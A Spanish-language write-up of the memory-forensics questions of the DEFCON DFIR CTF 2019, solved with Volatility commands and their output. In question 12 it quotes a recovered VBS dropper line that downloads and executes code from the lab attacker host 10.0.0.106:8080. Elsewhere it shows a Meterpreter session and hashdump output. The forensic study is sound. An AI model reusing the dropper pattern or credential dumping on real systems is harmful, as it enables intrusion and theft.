DEFCON DFIR CTF 2019 Writeup (III): Memory Forensics

1. ¿Cuál es el hash SHA1 del fichero triage.mem?

Un poquito de sha1sum para empezar a calentar…

# sha1sum adam.mem
c95e8cc8c946f95a109ea8e47a6800de10a27abd  adam.mem

* Respuesta: c95e8cc8c946f95a109ea8e47a6800de10a27abd

2. ¿Qué perfil de memoria es el más apropiado para esta máquina (ej: Win10x86_14393)

Volatility nos da la información gracias al plugin imageinfo:

# volatility26 -f adam.mem imageinfo
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/fast/defcon/adam.mem)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf800029f80a0L
          Number of Processors : 2
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff800029f9d00L
                KPCR for CPU 1 : 0xfffff880009ee000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2019-03-22 05:46:00 UTC+0000
     Image local date and time : 2019-03-22 01:46:00 -0400

El plugin kdbgscan posiblemente nos habría dado la más adecuada, pero tarda una vida así que nos fiamos de lo que nos dice imageinfo… y acertamos.

* Respuesta: Win7SP1x64

3. ¿Cuál es el ID de proceso de notepad.exe?

Volatility nos deja listar los procesos existentes con el plugin pslist (que de tanto usarlo, lo vamos a gastar). Un poquito de grep para que nos saque solo lo necesario, y respuesta lista:

# volatility26 -f adam.mem --profile Win7SP1x64 pslist |egrep "PID|notepad.exe"
Volatility Foundation Volatility Framework 2.6
Offset(V)          Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start   Exit                          
0xfffffa80054f9060 notepad.exe            3032   1432      1       60      1      0 2019-03-22 05:32:22 UTC+0000         

* Respuesta: 3032

5. ¿Cuál es la dirección IP de la máquina en el momento en el que se creó el volcado de RAM?
Como estamos con una imagen de Windows 7, el plugin netscan es nuestro amigo:

# volatility26 -f adam.mem --profile Win7SP1x64 netscan
Volatility Foundation Volatility Framework 2.6
Offset(P)          Proto    Local Address                  Foreign Address      State            Pid      Owner          Created
0x13e057300        UDPv4    10.0.0.101:55736               *:*                                   2888     svchost.exe    2019-03-22 05:32:20 UTC+0000

* Respuesta: 10.0.0.101

6. Basándonos en la respuesta respecto al PID infectado, ¿puedes determinar la dirección IP del atacante?

El proceso UWkpjFjDzM.exe parece más malicioso que la quina. Dado que tenemos su PID (3496) vamos a ver si lo encontramos en la salida del netscan:

# egrep "Pid|3496" netscan.txt 
Offset(P)          Proto    Local Address                  Foreign Address      State            Pid      Owner          Created
0x13e397190        TCPv4    10.0.0.101:49217               10.0.0.106:4444      ESTABLISHED      3496     UWkpjFjDzM.exe 

* Respuesta: 10.0.0.106

7. ¿Qué nombre de proceso está asociado con VCRUNTIME140.dll?

VCRUNTIME140.dll es una DLL, por lo que podemos emplear el plugin dlllist para que nos liste las dll en uso en la memoria. Volcamos el resultado a un fichero y luego lo buscamos de forma manual:

# volatility26 -f adam.mem --profile Win7SP1x64 dlllist > dlllist.txt
Volatility Foundation Volatility Framework 2.6
# less dlllist.txt

OfficeClickToR pid:   1136
Command line : "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
Service Pack 1

Base                             Size          LoadCount Path
------------------ ------------------ ------------------ ----
0x000000013f420000           0xa9d000             0xffff C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
0x0000000077260000           0x1a9000             0xffff C:\Windows\SYSTEM32\ntdll.dll
0x0000000077040000           0x11f000             0xffff C:\Windows\system32\kernel32.dll
0x000007fefd380000            0x6c000             0xffff C:\Windows\system32\KERNELBASE.dll
0x000007fefe970000            0xdb000             0xffff C:\Windows\system32\ADVAPI32.dll
0x000007fefd6b0000            0x9f000             0xffff C:\Windows\system32\msvcrt.dll
0x000007feff160000            0x1f000             0xffff C:\Windows\SYSTEM32\sechost.dll
0x000007fefe7a0000           0x12d000             0xffff C:\Windows\system32\RPCRT4.dll
0x000007fefef60000            0x67000             0xffff C:\Windows\system32\GDI32.dll
0x0000000077160000            0xfa000             0xffff C:\Windows\system32\USER32.dll
0x000007feff150000             0xe000             0xffff C:\Windows\system32\LPK.dll
0x000007fefe5e0000            0xc9000             0xffff C:\Windows\system32\USP10.dll
0x000007fefb140000            0x27000             0xffff C:\Windows\system32\IPHLPAPI.DLL
0x000007fefe790000             0x8000             0xffff C:\Windows\system32\NSI.dll
0x000007fefb100000             0xb000             0xffff C:\Windows\system32\WINNSI.DLL
0x000007feff180000           0x203000             0xffff C:\Windows\system32\ole32.dll
0x000007fefe6b0000            0xd7000             0xffff C:\Windows\system32\OLEAUT32.dll
0x000007feff3f0000            0x4d000             0xffff C:\Windows\system32\WS2_32.dll
0x000007fefa5e0000            0x1b000             0xffff C:\Windows\system32\Cabinet.dll
0x000007fefd2a0000            0x3b000             0xffff C:\Windows\system32\WINTRUST.dll
0x000007fefd3f0000           0x16d000             0xffff C:\Windows\system32\CRYPT32.dll
0x000007fefd250000             0xf000             0xffff C:\Windows\system32\MSASN1.dll
0x000007fefb2d0000            0x11000             0xffff C:\Windows\system32\WTSAPI32.dll
0x000007fefed80000           0x1d7000             0xffff C:\Windows\system32\SETUPAPI.dll
0x000007fefd260000            0x36000             0xffff C:\Windows\system32\CFGMGR32.dll
0x000007fefd560000            0x1a000             0xffff C:\Windows\system32\DEVOBJ.dll
0x000007fefa5c0000            0x16000             0xffff C:\Program Files\Common Files\Microsoft Shared\ClickToRun\VCRUNTIME140.dll
0x000007fefa5b0000             0x4000             0xffff C:\Program Files\Common Files\Microsoft Shared\ClickToRun\api-ms-win-crt-runtime-l1-1-0.dll

Otro ejecutable que a todas luces es legit. Y si miramos con cuidado tira de IPHLPAPI.DLL (para recoger la configuración de red) y de CRYPT32.dll (para acceder a las API de cifrado de Windows). Parece que vamos por buen camino.

* Respuesta: OfficeClickToR

8. ¿Cuál es el hash MD5 del posible malware que hay en el sistema?

En este punto del análisis tenemos un par de culpables: OfficeClickToR y UWkpjFjDzM.exe (que así a tiro piedra parece una sesión de Meterpreter, aunque solo sea por la conexión con el puerto 4444). Vamos a listar con el plugin filescan todos los ficheros en memoria y a buscar nuestro culpable:

# volatility26 -f adam.mem --profile Win7SP1x64 filescan > filescan.txt
Volatility Foundation Volatility Framework 2.6

# egrep "Offset|OfficeClickToR" filescan.txt 
Offset(P)            #Ptr   #Hnd Access Name
0x000000013e4dff20     15      0 R--r-d \Device\HarddiskVolume2\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe

Mmm… nuestro ejecutable se llamaba OfficeClickToR, no OfficeClickToRun.exe. Pero si lo miramos con detalle comprobamos que la salida de dlllist siempre muestra el nombre completo (extensión .exe incluida) ¿Será un problema de límite de caracteres de la salida? Lo comprobamos extrayendo del dlllist.txt todos los nombres de ejecutables y calculando su longitud:

# fgrep pid dlllist.txt |cut -d" " -f1 |awk '{ print length }'|sort -nr|less
14
14
14
14
14
12
12
12
12
.....

En efecto, nos ha cortado el nombre del ejecutable, dejándolo en 14 caracteres (algo que solo pasaba en los entornos UNIX prehistóricos).

Habiendo visto que el fichero es el que buscamos, lo volcamos con el plugin dumpfiles:

# volatility26 -f adam.mem --profile Win7SP1x64 dumpfiles -Q 0x000000013e4dff20 -D dump
Volatility Foundation Volatility Framework 2.6
ImageSectionObject 0x13e4dff20   None   \Device\HarddiskVolume2\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe

Comprobamos que se ha extraído correctamente (dumpfiles no es ni mucho menos infalible):

# cd dump/
# file file.None.0xfffffa80058e9dc0.img 
file.None.0xfffffa80058e9dc0.img: PE32+ executable (GUI) x86-64, for MS Windows

y calculamos el hash md5:

# md5sum file.None.0xfffffa80058e9dc0.img 
88dcf95421bb2791b75035cd5035e0bd  file.None.0xfffffa80058e9dc0.img

¡Incorrecto! Vamos a por la forma canónica de hacerlo (es decir, empleando el plugin procdump):

# volatility26 -f adam.mem --profile Win7SP1x64 procdump -p 1136 -D dump

Vamos a ver si los hashes son distintos …

# cd dump/
# md5sum *
35712409e27d65164d897d5cd1bd12c3  executable.1136.exe
88dcf95421bb2791b75035cd5035e0bd  file.None.0xfffffa80058e9dc0.img

Tampoco le gusta. Vamos a ver si al final el que querían era el otro (UWkpjFjDzM.exe) …

# volatility26 -f adam.mem --profile Win7SP1x64 procdump -p 3496 -D dump 
Volatility Foundation Volatility Framework 2.6
Process(V)         ImageBase          Name                 Result
------------------ ------------------ -------------------- ------
0xfffffa8005a1d9e0 0x0000000000400000 UWkpjFjDzM.exe       OK: executable.3496.exe

# md5sum executable.3496.exe 
690ea20bc3bdfb328e23005d9a80c290  executable.3496.exe

A la tercera va la vencida (y que conste en acta que, en efecto, parece una sesión de meterpreter):

https://www.virustotal.com/gui/file/b6bdfee2e621949deddfc654dacd7bb8fce78836327395249e1f9b7b5ebfcfb1/detection

* Respuesta: 690ea20bc3bdfb328e23005d9a80c290

9. ¿Cuál es el hash LM de la cuenta de bob?

Los hashes están (como casi toda la configuración de sistema de Windows) en el registro, en este caso en las hives SYSTEM y SAM.

Podríamos volcar las claves y tirar de Mimikatz, pero en esta ocasión Volatility va a hacer todo el trabajo duro por nosotros. Tan solo tenemos que localizar las direcciones virtuales de los hives con el plugin hivelist:

# volatility26 -f adam.mem --profile Win7SP1x64 hivelist
Volatility Foundation Volatility Framework 2.6
Virtual            Physical           Name
------------------ ------------------ ----
0xfffff8a003ad2010 0x0000000125598010 \??\C:\System Volume Information\Syscache.hve
0xfffff8a00469c010 0x00000000a779d010 \SystemRoot\System32\Config\DEFAULT
0xfffff8a00000e010 0x00000000a9740010 [no name]
0xfffff8a000024010 0x00000000a97cb010 \REGISTRY\MACHINE\SYSTEM
0xfffff8a000053320 0x00000000a977a320 \REGISTRY\MACHINE\HARDWARE
0xfffff8a0000fe010 0x00000000a9625010 \SystemRoot\System32\Config\SECURITY
0xfffff8a0004db010 0x00000000a8599010 \Device\HarddiskVolume1\Boot\BCD
0xfffff8a00054b010 0x00000000a7fe3010 \SystemRoot\System32\Config\SOFTWARE
0xfffff8a000e66010 0x000000009ce84010 \SystemRoot\System32\Config\SAM
0xfffff8a000efe410 0x000000009be5c410 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0xfffff8a000f43010 0x000000009ba60010 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0xfffff8a00125d010 0x000000009635a010 \??\C:\Users\Bob\AppData\Local\Microsoft\Windows\UsrClass.dat
0xfffff8a0012ea010 0x0000000096937010 \??\C:\Users\Bob\ntuser.dat

y luego usar el plugin hashdump con dichas direcciones:

# volatility26 -f adam.mem --profile Win7SP1x64 hashdump -y 0xfffff8a000024010  -s 0xfffff8a000e66010
Volatility Foundation Volatility Framework 2.6

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Bob:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

El hash es el mismo en las tres cuentas… si lo podemos llamar hash porque es el que corresponde al password vacío (es decir, que la cuenta no tiene contraseña alguna).

* Respuesta: aad3b435b51404eeaad3b435b51404ee

10. ¿Qué protecciones tiene el nodo VAD situado en 0xfffffa800577ba10?
Si queremos información sobre los nodos VAD (Virtual Address Descriptors) nuestro amigo es el plugin vadinfo:

# volatility26 -f adam.mem --profile Win7SP1x64 vadinfo > vadinfo.txt

Si buscamos por el nodo encontramos las protecciones existentes:

VAD node @ 0xfffffa800577ba10 Start 0x0000000000030000 End 0x0000000000033fff Tag Vad 
Flags: NoChange: 1, Protection: 1
Protection: PAGE_READONLY
Vad Type: VadNone
ControlArea @fffffa8005687a50 Segment fffff8a000c4f870
NumberOfSectionReferences:          1 NumberOfPfnReferences:           0
NumberOfMappedViews:               29 NumberOfUserReferences:         30
Control Flags: Commit: 1
First prototype PTE: fffff8a000c4f8b8 Last contiguous PTE: fffff8a000c4f8d0
Flags2: Inherit: 1, SecNoChange: 1

* Respuesta: PAGE_READONLY

11. ¿Qué protecciones tiene el nodo VAD que empieza en 0x00000000033c0000 y termina en 0x00000000033dffff?

Consejo: Vuelca siempre los resultados de los comandos de Volatility a un fichero de texto. Nunca sabes cuándo te puede hacer falta (y a veces te salen unos combos de dobles respuestas preciosos). Buscando en el volcado del resultado anterior:

VAD node @ 0xfffffa80052652b0 Start 0x00000000033c0000 End 0x00000000033dffff Tag VadS
Flags: CommitCharge: 32, PrivateMemory: 1, Protection: 24
Protection: PAGE_NOACCESS
Vad Type: VadNone

Nota: Podéis encontrar más info sobre los nodos VAD y las protecciones de memoria aquí:
Nota: Podéis encontrar más info sobre los nodos VAD y las protecciones de memoria aquí:
https://resources.infosecinstitute.com/finding-enumerating-processes-within-memory-part-2/#gref

* Respuesta: PAGE_NOACCESS

12. Se ha ejecutado un script VBS en el equipo. ¿Cuál es el nombre del script (sin extensiones)?
Seguro que hay una forma mejor de hacerlo, pero no la he encontrado. Revisando filescan no hay .vbs, no hay nada en los procesos ejecutados… pero al final si está en la memoria, lo podemos encontrar aunque sea por fuerza bruta (momento en el que entra el plugin strings por la puerta diciendo «Hola, ¿hablábais de mí?). Media hora más tarde (y en un equipo potente, ojo), tenemos nuestros resultados:

# strings -a -td adam.mem > strings_raw.txt
# strings -a -td -el adam.mem >> strings_raw.txt
# volatility26 -f adam.mem --profile Win7SP1x64 strings -s strings_raw.txt > res_strings.txt

Una vez tenemos el lozano fichero de 1.3Gb de texto de resultado, ya solo toca un fgrep y un poco de rebuscar antes de encontrar nuestro resultado:

890276594 [3952:031c5af2] {.save|%TEMP%\vhjReUDEuumrX.vbs|Set x=CreateObject("Microsoft.XMLHTTP")
890799432 [3952:02182548] wscript.exe //B //NOLOGO %TEMP%\vhjReUDEuumrX.vbs
895821848 [3952:031aa818] /?search=%00{.save%7C%25TEMP%25%5CvhjReUDEuumrX.vbs%7CSet%20x=CreateObject(%22Microsoft.XMLHTTP%22)%0D%0AOn%20Error%20Resume%20Next%0D%0Ax.Open%20%22GET%22,%22http://10.0.0.106:8080/6KqFks7lU7q0%22,False%0D%0AIf%20Err.Number%20%3C%3E%200%20Then%0D%0Awsh.exit%0D%0AEnd%20If%0D%0Ax.Send%0D%0AExecute%20x.responseText.}
895822562 [3952:031aaae2] {.save|%TEMP%\vhjReUDEuumrX.vbs|Set x=CreateObject("Microsoft.XMLHTTP")

La IP es la que teníamos señalada anteriormente como maliciosa, y el PID que la lanza es del fichero hfs.exe (al que también le teníamos echado el ojo). Y viendo lo que parece que hace … parece nuestro culpable

* Respuesta: vhjReUDEuumrX

13. Se ejecutó una aplicación el 2019-03-07 23:06:58 UTC. ¿Cuál es el nombre del programa (extensión incluida)?

En este caso queremos un listado de todas las aplicaciones ejecutadas en el sistema, lo que traducido de humano a forense quiere decir: usa el plugin shimcache. Volatility está intentando con ganas dejar a mi querido RegRipper obsoleto, porque ya viene con un plugin que extrae esta información:

# volatility26 -f adam.mem --profile Win7SP1x64 shimcache  > shimcache.txt
Volatility Foundation Volatility Framework 2.6

# fgrep "23:06:58"  shimcache.txt 
2019-03-07 23:06:58 UTC+0000   \??\C:\Program Files (x86)\Microsoft\Skype for Desktop\Skype.exe

* Respuesta: Skype.exe

14. ¿Qué había escrito en notepad.exe cuando se creó el volcado de memoria?
Ya tenemos el resultado completo del plugin strings realizado en la pregunta 12, así que nos podemos permitir el lujo de hacerle un grep por el PID del notepad:

# fgrep "[3032:" res_strings.txt > notepad_strings.txt

Salen 259Kb de fichero de texto (que no está nada mal), pero uno está ya mayor para ir revisando línea por línea. Vamos a asumir que la flag es o una frase o una palabra razonablemente larga, así que vamos a cortar el fichero quedándonos con el contenido de memoria. A continuación vamos a calcular la longitud de cada cadena y las vamos a ordenar de mayor a menor

# cut -d" " -f3 notepad_strings.txt |awk '{ print length " " $1 }'|sort -nr|less

8 pantallazos más tarde aparece algo que «a lo mejor» es nuestra flag:

21 flag

* Respuesta: REDBULL_IS_LIFE

15. ¿Cuál es el nombre corto del fichero en el registro 59045?
Si nos piden nombres de fichero, nos piden acceder a la MFT. Si empleamos el plugin mftparser es coser y cantar:

# volatility26 -f adam.mem --profile Win7SP1x64 mftparser -D dump > mft.txt
Volatility Foundation Volatility Framework 2.6

***************************************************************************
MFT entry found at offset 0x2193d400
Attribute: In Use & File
Record Number: 59045
Link count: 2
$STANDARD_INFORMATION
Creation                       Modified                       MFT Altered                    Access Date                    Type
------------------------------ ------------------------------ ------------------------------ ------------------------------ ---
2019-03-17 06:50:07 UTC+0000 2019-03-17 07:04:43 UTC+0000   2019-03-17 07:04:43 UTC+0000   2019-03-17 07:04:42 UTC+0000   Archive
$FILE_NAME
Creation                       Modified                       MFT Altered                    Access Date                    Name/Path
------------------------------ ------------------------------ ------------------------------ ------------------------------ ---
2019-03-17 06:50:07 UTC+0000 2019-03-17 07:04:43 UTC+0000   2019-03-17 07:04:43 UTC+0000   2019-03-17 07:04:42 UTC+0000   Users\Bob\DOCUME~1\EMPLOY~1\EMPLOY~1.XLS
$FILE_NAME
Creation                       Modified                       MFT Altered                    Access Date                    Name/Path
------------------------------ ------------------------------ ------------------------------ ------------------------------ ---
2019-03-17 06:50:07 UTC+0000 2019-03-17 07:04:43 UTC+0000   2019-03-17 07:04:43 UTC+0000   2019-03-17 07:04:42 UTC+0000   Users\Bob\DOCUME~1\EMPLOY~1\EmployeeInformation.xlsx
$OBJECT_ID
Object ID: 00fe50d2-4841-e911-8751-000c2958bc5f
Birth Volume ID: 80000000-4800-0000-0100-000000000300
Birth Object ID: 00000000-0000-0000-0200-000000000000
Birth Domain ID: 40000000-0000-0000-0030-000000000000
$DATA
$OBJECT_ID
Object ID: 40000000-0000-0000-0030-000000000000
Birth Volume ID: f0260000-0000-0000-f026-000000000000
Birth Object ID: 310378db-0100-ffff-ffff-ffff82794711
Birth Domain ID: 00000000-0000-0000-0000-000000000000

Nos piden el nombre acortado, que es el reducido a 8 caracteres.
* Respuesta: EMPLOY~1.XLS

16. Este equipo ha sido comprometido y tiene una sesión de meterpreter. ¿Qué PID ha sido infectado?
Así da gusto, preguntas cuya respuesta ya has extraído sin querer (bueno, un poco queriendo). Dado que habíamos dicho que UWkpjFjDzM.exe era una sesión de meterpreter, tan solo tenemos que recuperar del pslist su PID.
* Respuesta: 3496